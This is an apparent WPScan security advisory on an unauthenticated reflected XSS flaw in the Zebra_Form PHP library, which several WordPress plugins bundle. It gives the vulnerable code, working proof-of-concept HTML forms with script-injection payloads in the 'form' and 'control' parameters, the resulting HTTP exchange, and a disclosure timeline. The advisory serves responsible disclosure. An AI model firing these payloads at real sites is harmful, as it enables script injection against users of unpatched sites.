The WPScan security research team identified an Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability within the Zebra_Form PHP library, which is used by multiple WordPress plugins.
While investigating a dubious advisory related to a Cross-Site Scripting (XSS) vulnerability in the wp-ticket plugin, the Zebra_Form library was found to be responsible for the issue. At the time of writing, despite contacting the vendor multiple times, the latest version of Zebra_Form, version 2.9.8, is still affected.
Fortunately, the affected WordPress plugins were no longer maintained, or had a small number of active installations. Nevertheless, we wanted to make the public aware of the vulnerability affecting Zebra_Form in case it is used elsewhere.
Advisory Summary
The Zebra_Form PHP library, versions 2.9.8 and below, used by multiple WordPress plugins, is affected by a Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability in its process.php
file. Please note that a full security review of the Zebra_Form PHP library has not been conducted by WPScan.
After confirming the initial Cross-Site Scripting (XSS) vulnerability in the Zebra_Form PHP library, the WPscan security research team checked the WordPress plugin repository to see if any other plugins were using the vulnerable Zebra_Form library. The following plugins were found to use the vulnerable Zebra_Form PHP library:
- wp-ticket < 5.6.0
- teaser-maker-standard <= 0.1.114 (latest, has been closed)
- ad-swapper <= 1.0.3 (latest, has been closed)
- drug-search <= 1.0.0 (latest, has been closed)
- wp-inimat <= 1.0 (latest, has been closed)
This vulnerability has a the following risk score:
CVSS: 6.1 (Medium) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Technical Details
The process.php outputs the form
and control
GET parameters, in a JavaScript block, without validating or santisating them first. This results in Reflected Cross-Site Scripting issues when submitting crafted requests to the file.
} elseif (
isset($_FILES) &&
is_array($_FILES) &&
!empty($_FILES) &&
isset($_GET['form']) &&
isset($_GET['control']) &&
isset($_FILES[$_GET['control']])
) {
function process() {
// the form that initiated the request
$form = $_GET['form'];
// the file upload control on the form that initiated the request
$control = $_GET['control'];
[.. more code w/o sanitisation ..]
?>
<script type="text/javascript">
var f=parent.window.$('#<?php echo $form?>');
if(undefined!=f){
f.data('Zebra_Form').end_file_upload('<?php echo $control . '\'' . (isset($file) ? ',[\'' . addcslashes($file['name'], '\'') . '\',\'' . $file['type'] . '\',\'' . $file['error'] . '\',\'' . $file['size'] . '\']' : '')?>)
}
</script>
Proof of Concept
- Install one of the affected plugins, or the Zebra_Form library directly, change the
action
form attribute in the code below to the correct value and save it as an HTML file. - Open the saved file in a web browser (tested with Firefox 84 and the
wp-ticker
plugin v5.5.0), provide any file via one of the input and send the form to trigger the XSS.
Via $_GET['form']:<br/><br/>
<form action="https://example.com/wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=</script><img src onerror=alert(/XSS-form/)>&control=upload" method="post" enctype="multipart/form-data">
<input type="file" name="upload"/>
<input type="submit" name="submit" value="Send">
</form>
<br/>
Via $_GET['control']:<br/><br/>
<form action="https://example.com/wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=f&control=</script><svg/onload=alert(/XSS-control/)>" method="post" enctype="multipart/form-data">
<input type="file" name="</script><svg/onload=alert(/XSS-control/)>"/>
<input type="submit" name="submit" value="Send">
</form>
Which will make a request like:
POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(/XSS-form/)%3E&control=upload HTTP/1.1
Host: example.com
User-Agent: YOLO
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074
Content-Length: 241
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------77916619616724262872902741074
Content-Disposition: form-data; name="upload"; filename="a.txt"
Content-Type: text/plain
Test
-----------------------------77916619616724262872902741074--
And result in the below response:
HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
Content-Length: 207
Connection: close
Content-Type: text/html; charset=UTF-8
<script type="text/javascript">var f=parent.window.$('#</script><img src onerror=alert(/XSS-form/)>');if(undefined!=f){f.data('Zebra_Form').end_file_upload('upload',['a.txt','text/plain','0','20'])}</script>
Remediation
As there is no patch for the Cross-Site Scripting (XSS) vulnerability at the time of writing, it is recommended that the affected plugins be removed.
The Zebra_Form maintainers should properly validate and encode the form
and control
parameters before outputting them in the JavaScript code.
Timelime
- January 13th, 2021 – Issue investigated and confirmed, Zebra_Form vendor contacted
- January 13th, 2021 – Zebra Vendor replied that a fix will be coming in the next few days
- January 14th, 2021 – Report shared with WordPress plugins team for coordination on the affected plugins (which have been closed in the meantime)
- February 4th, 2021 – Re-contacted vendor for updates
- February 15th, 2021 – No updates, disclosing on WPScan blog